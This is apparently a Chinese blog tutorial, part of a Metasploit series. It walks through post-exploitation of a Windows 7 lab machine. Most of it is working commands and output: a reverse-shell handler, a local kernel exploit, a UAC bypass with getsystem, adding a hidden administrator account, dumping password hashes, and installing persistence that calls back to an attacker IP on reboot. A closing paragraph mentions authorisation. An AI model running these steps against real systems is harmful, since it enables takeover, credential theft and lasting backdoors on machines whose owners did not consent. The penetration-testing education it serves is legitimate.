渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)

1.目标机器权限提升

权限提升(privilege escalation) :

        攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。Windows,Linux等等。

#提权的前提条件:
- 拥有普通用户权限
- 拥有某些软件的账号密码
 -本地或远程服务器上存在漏洞
- 拥有漏洞利用工具代码 

Windows—>user[普通用户、如:zhangsan]—>Administrator[管理员用户]—>SYSTEM[系统用户、不可登录]
Linux—>user[普通用户、如:kali-lisi]—>root[超级用户]

获取普通用户权限

在前面我们已经讲过如何获取一个普通的权限,这里我们以windows为例,因为我们在前面已经发送了木马后门在我们win7靶机上,所以这里我们直接使用以前的,不再麻烦重新生成了。

  1. 快速开启监听,打开msf,执行handler -H 192.168.164.130 -P 9999 -p windows/x64/meterpreter/reverse_tcp
  2. 在靶机上运行后门
  3. 进入监听得到的session 1,获得meterpreter

使用查看命令getuid发现我们获得了一个普通用户:

靶机权限提升-windows内核/服务漏洞

post/multi/recon/local_exploit_suggester

#检测漏洞时,需要注意meterpreter位数,如64位系统使用32位meterpreter,可能检测失败

        我们使用background返回msf终端,输入use post/multi/recon/local exploit suggester来帮助我们检测不表操作系统上面可能存在那些内核漏洞。输入options查看需要我们配置哪些选项,发现只需要我们配置session即可,也就是说我们要给它一个普通用户的会话让他去检测,我这里是set sessions 2,大家根据自己的sessions进行配置。

        我这里暂时只有一个攻击模块,我们就使用这个,如果大家是有多个攻击模块被检测出来就i选择一个自己看着舒服的就行,use exploit/windows/local/ms10_092_schelevator,还有就是我们检测出来的漏洞后面一般都会有The target appears......,表示只是可能存在漏洞,也有可能不存在,我们只能作为一个参考。

使用模块之后依然是optionsset之后运run

        注意:这里我没有set payload,我们看到默认的payload是windows/meterpreter/reverse_tcp,而我们攻击的机器是64位机器,这里实际上应该set一下payload,use windows/x64/meterpreter/reverse_tcp,我没有设置这里是成功了,但是我们看我获取到的meterpreter却是一个x86的机器,所以最好还是设置一下防止运行失败。


         虽然我们成功使用了这个漏洞,但是这些漏洞可能被打了补丁,这些补丁有可能是通过自己系统更新,即使你把windows自动更新去掉了,这些漏洞也会通过360等的补丁,漏洞检测进行自动的修复,所以这种提权的方式在实际应用中是比较少见的。

> bypass_uac

        用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

在日常我们登录的用户都是默认属于管理员组的,查看net user

 
如果电脑开启了UAC,以管理员身份运行就会弹出一个弹窗,我们可以在控制面版中关闭这样一个功能:

        下面我们就来查看如何绕过UAC,绕过UAC的方法,你肯定不知道使用哪个模块,我们还是使用老方法search bypassuac

 我们就使用普通的bypassuac,ues exploit/windows/local/bypassuac,查看配置:

 设置好session,再看一下我们的机器是X64,而这个模块默认的payload却是windows/meterpreter/reverse_tcp,我们需要在payload中加上架构:

运行

        我们使用getuid查看用户,发现依旧是普通用户,这是因为我们还需要一步操作,叫做命名管道去打开一个meterpreter:我们可以使用getsystem提权命令进行提权,之后再次擦看getuid发现用户已经成为SYSTEM用户。没有使用bypassuac这种方法而使用我们上面的第一种方法获取的普通用户是无法使用getsystem来进行提权的。


        这里呢就是一个bypassuac的利用,我们在真实情况下也是用的比较多的,包括我们的win10也可以利用它进行一个提权。

2.深入控制目标机器

#开启命令行
meterpreter>shell

#windows
##chcp解决中文乱码
chcp 65001
CHCP是一个计算机指令,能够显示或设置活动代码页编号。
65001 UTF-8代码页
950繁体中文
936简体中文默认的GBK
437 MS-DOS美国英语

#linux
##开启交互式shell
python -c "import pty;pty.spawn('/bin/bash')"

#读取文件
meterpreter > cat "C:\Users\zhangsan\Downloads\001.txt"

#上传文件
meterpreter > upload /home/kali/text_files/C++/001 C:\\Users\\zhangsan\\Downloads\\
[*] uploading  : /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\
[*] uploaded   : /home/kali/text_files/C++/001 -> C:\Users\zhangsan\Downloads\\001

#下载文件
meterpreter > download "C:\Users\zhangsan\Downloads\001.txt"
[*] Downloading: C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] Downloaded 8.00 B of 8.00 B (100.0%): C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt
[*] download   : C:\Users\zhangsan\Downloads\001.txt -> /home/kali/001.txt

#删除文件
meterpreter > rm "C:\\Users\\zhangsan\\Downloads\\001.txt"

例如我保存在记事本的一段代码:

使用cat命令后就会在命令行中显示:

 添加后门用户

  1. meterpreter > shell(进入命令行)
  2. net user lisi 123123 /add(添加一个用户名为lisi,密码为123123的普通用户)
  3. net localgroup administrators lisi /add(把lisi加入Administrators用户组)

远程登录

#开启远程服务
meterpreter > run getgui -e
然后启用远程桌面连接使用自己创建的用户即可。

如何获取管理员密码

#密码凭证获取(获取哈希值,经过加密后的密码)

1.直接使用hashdump命令
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::
zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

 2.使用msf模块,使用此模块不仅会获得哈希值,而且可以获得当前用户的明文密码

meterpreter > run post/windows/gather/smart_hashdump

[!] SESSION may not be compatible with this module:
[!]  * missing Meterpreter features: stdapi_sys_process_set_term_size
[*] Running module against WIN-RRI9T9SN85D
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20220212071857_default_192.168.164.132_windows.hashes_234671.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]         Obtaining the boot key...
[*]         Calculating the hboot key using SYSKEY 215da04edceefd0487fc4a43a9e51aab...
[*]         Obtaining the user list and keys...
[*]         Decrypting user keys...
[*]         Dumping password hints...
[*]         No users with password hints on this system
[*]         Dumping password hashes...
[+]        Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]        zhangsan:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]        lisi:1002:aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174:::

        当然你也可以使用load kiwicreds all来获取明文密码,但是成功几率比较低。就像我这里靶机刚创建的用户lisi都没有检测出来。哈希值的方法是最可靠的在这几种方法中。

解密网站:

3.meterpreter持久化控制

#进程迁移
#查看进程meterpreter > ps
#进程迁移migrate   (迁移到相同权限下)
meterpreter > migrate PID

metsvc自启动服务(msf已不建议使用)

运行run metsvc
将会在目标主机上以Meterpreter的服务的形式注册在服务列表中,并开机自动自动;
运行run metsvc -r
卸载目标主机上的Meterpreter服务;

  • 原理:设置的后门在目标机启动后会自动开启一个服务,等待连接;这个有点正向代理的意思,自己开个端口等待接入控制;
  • 优点:命令简单,不必设置太多参数,即不需要设置反弹到的主机IP、端口等,直接run metsvc -A;
  • 缺点:如果其他人知道服务器的ip,都可以利用这个后门开启的服务来控制服务器【扫描器发现】;

#开启服务meterpreter > run metsvo
#开启监听,等待连接handler -H 192.168.123.160 -P 31337 -p windows/metsvc_bind_tcp
##卸载服务meterpreter > run metsvc -r

persistence自启动项

通过启动项启动,也是Meterpreter下的一个脚本;
移除后门:删除注册表中的值和上传的VBScript文件,具体位置执行脚本后有提示。  

参数
-A                自动启动匹配的exploit/multi/处理程序,
-L                在目标主机中写入有效负载的位置,如果没有&TEMP%将被使用。
-P                要使用的有效负载,默认是windows/meterpreter/reverse_tcp。
-S                在启动时自动将代理作为服务启动(具有SYSTEM特权)
-T                可选择使用的可执行模板
-U                在User登录时自动启动(推荐使用)
-X                系统启动时自动启动代理
-h                帮助菜单
-i                 每次连接尝试之间的间隔,以秒为单位运行
-p                Metasploit的系统正在监听的端口运行
-r                 Metasploit监听回连接的系统的IP

使用run persistence -U -i 10 -p 8888 -r 192.168.164.130命令运行我们的persistence自启动项


之后后返回msf终端开启监听:

接下来我们重启靶机:

        很明显的看到,在我重启靶机的时候,所有会话都Died,断掉了,但是我们之后打开监听,又会自动建立起和靶机的会话,说明我们persistence自启动项运行成功了。

 可能会存在的问题

  1. 为什么提权失败?
    --------提权需要目标机器有脆弱性漏洞,没有修复补丁,杀毒软件不会拦截提权攻击脚本等前提条件才能够成功提权上线。检测存在误报,只能去尝试。
    --------没有操作是百分之百能够成功执行的。
    --------渗透测试过程中要灵活多变,这种方法不行,换另一种,或各种搭配组合,才能实现最大化利用。
  2. 为什么我得到的ntlm哈希没办法破解?
    --------哈希加密不支持逆运算,只能暴力破解(彩虹表)。如果彩虹表里没有明文加密后的哈希值,就无法破解。举例,比特币sha256加密算法,只能用算力爆破。base64为编码,不是哈希加密,类似于url编码,都是能够解码的。
  3. 为什么chcp 65001之后依然会出现中文乱码?
    --------chcp 65001是将活动代码页编码改为utf-8,不是翻译可以尝试更改kali终端编码 

  • 3
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
Kali是一个被广泛应用于渗透测试和网络安全的Linux发行版。而Metasploit Framework(MSF)是一个开源的渗透测试框架,它供了一系列功能强大的工具和资源,帮助渗透测试人员实施攻击并评估系统的安全性。 在Kali中,可以使用Metasploit Framework来进行渗透测试,以测试目标系统的安全性。下面是进入MSF的步骤: 1. 打开终端:首先,在Kali Linux中打开一个终端窗口。你可以使用快捷键Ctrl+Alt+T来打开终端,或者在菜单中找到终端应用。 2. 启动MSF控制台:在终端中输入msfconsole并按下回车键,这将启动Metasploit Framework控制台。 3. 更新MSF:在控制台中,输入命令msfupdate并按下回车键,这将确保你使用的是最新的Metasploit Framework版本。 4. 选择攻击模块:通过输入命令use来选择你想要使用的攻击模块。例如,如果你想要使用一个特定的漏洞攻击模块,可以输入use exploit/[exploit_name]命令。 5. 设置攻击选项:根据选定的攻击模块,通过输入set命令来设置攻击选项。这些选项可能包括目标IP地址、端口等。 6. 运行攻击:通过输入命令exploit来运行已设置好的攻击。控制台将显示攻击的进展情况,并供相关的反馈信息。 需要注意的是,在进行渗透测试时,务必遵循法律和道德规范,并且只能在授范围内对系统进行测试。任何未经授的攻击行为都是非法的。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

慵懒之龟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值